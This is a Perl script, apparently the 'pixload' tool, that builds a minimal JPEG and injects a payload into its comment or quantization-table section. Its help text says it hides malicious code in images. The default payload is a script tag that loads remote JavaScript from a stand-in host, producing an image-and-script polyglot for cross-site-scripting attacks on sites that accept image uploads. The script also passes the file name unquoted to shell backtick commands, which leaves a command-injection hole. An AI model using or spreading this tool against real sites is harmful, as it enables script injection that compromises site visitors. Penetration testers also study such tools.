#!/usr/bin/env perl
#
# JPEG Payload Creator/Injector
#
# coded by sighook <alexandr.savca89@gmail.com>
#
# See LICENSE file for copyright and license details.
#

use strict;
use warnings;
use feature 'say';

use POSIX;
use Getopt::Long qw(:config no_ignore_case);
use File::Basename;

use constant PROGRAM => basename $0;
use constant VERSION => '1.1.1';

use Image::ExifTool ':Public';

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#                              Default options                                #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

my %opts = (
    section     => 'COM',
    payload     => '<script src=//example.com></script>',
);

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
#                                Subroutines                                  #
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #


sub create_jpg {
    say "[>] Generating output file";

    sysopen my $fh, $opts{FILE}, O_CREAT|O_WRONLY;
    syswrite   $fh, "\xff\xd8";                                # SOI
    syswrite   $fh, "\xff\xdb";                                # DQT
    syswrite   $fh, pack('S>', 67);                            # DQT SIZE
    syswrite   $fh, "\x00" . "\x01" x 64;                      # DQT DATA
    syswrite   $fh, "\xff\xc2";                                # SOF
    syswrite   $fh, "\x00\x0b";                                # SOF SIZE
    syswrite   $fh, "\x08\x00\x01\x00\x01\x01\x01\x11\x00";    # SOF DATA
    syswrite   $fh, "\xff\xc4";                                # DHT
    syswrite   $fh, "\x00\x14";                                # DHT SIZE
    syswrite   $fh, "\x00\x01\x00\x00\x00\x00\x00\x00\x00".    # DHT DATA
                    "\x00\x00\x00\x00\x00\x00\x00\x00\x03";
    syswrite   $fh, "\xff\xda";                                # SOS
    syswrite   $fh, "\x00\x08";                                # SOS SIZE
    syswrite   $fh, "\x01\x01\x00\x00\x00\x01\x3f";            # SOS DATA
    syswrite   $fh, "\xff\xd9";                                # EOI

    close      $fh;

    say "[✔] File saved to: $opts{FILE}\n";
}

sub inject_payload_com {
    say "[>] Injecting payload into COMMENT";

    my $exifTool = Image::ExifTool->new;

    $exifTool->SetNewValue('Comment', $opts{payload})
        or die "[✘] Fail to SetNewValue\n";

    $exifTool->WriteInfo($opts{FILE})
        or die "[✘] Fail to WriteInfo\n";

    say "[✔] Payload was injected successfully\n";
}

sub inject_payload_dqt {
    say "[>] Injecting payload into DQT table";

    my $payload_len = length $opts{payload};

    sysopen my $fh, $opts{FILE}, O_WRONLY;
    sysseek    $fh, (7 + (64 - $payload_len)), SEEK_SET;
    syswrite   $fh, $opts{payload};
    close      $fh;

    say "[✔] Payload was injected succesfully\n";
}

sub banner {
    <<EOF;
..... JPEG Payload Creator/Injector ......
..........................................
... https://github.com/sighook/pixload ...
..........................................
EOF
}

sub usage {
    <<"EOF";
Usage: @{[ PROGRAM ]} [OPTION]... FILE
Hide Payload/Malicious Code in JPEG images.

Mandatory arguments to long options are mandatory for short options too.
  -S, --section COM|DQT         set section for payload injection
  -P, --payload STRING          set payload for injection
  -v, --version                 print version and exit
  -h, --help                    print help and exit

If the output FILE already exists, then payload will be injected into this
existing file. Otherwise, the new one will be created.
EOF
}

sub version {
    PROGRAM . " " . VERSION;
}

sub main {
    # command-line options
    GetOptions(
        'h|help!'     =>  \$opts{help},
        'v|version!'  =>  \$opts{version},
        'S|section=s' =>  \$opts{section},
        'P|payload=s' =>  \$opts{payload},
    ) or die "$!\n";

    $opts{FILE} = shift @ARGV;

    say &usage    and  exit(0) if   $opts{help};
    say &version  and  exit(0) if   $opts{version};
    say &usage    and  exit(1) if ! $opts{FILE};

    say &banner;
    &create_jpg if ! -f $opts{FILE};

    if    (uc $opts{section} eq 'COM') {
        &create_jpg if ! -f $opts{FILE};
        &inject_payload_com;
    }
    elsif (uc $opts{section} eq 'DQT') {
        die "The payload size must not exceed 64 bytes!\n"
            if length($opts{payload}) > 64;

        &create_jpg; # FIXME: overwrites file content
        &inject_payload_dqt;
    }
    else {
        die "-s, --section option argument must be COM or DQT!\n";
    }

    if    (-f '/usr/bin/file'   ) { say `file       $opts{FILE}` }

    if    (-f '/usr/bin/hexdump') { say `hexdump -C $opts{FILE}` }
    elsif (-f '/usr/bin/xxd'    ) { say `xxd        $opts{FILE}` }
}

&main;

# vim:sw=4:ts=4:sts=4:et:cc=80
# End of file.
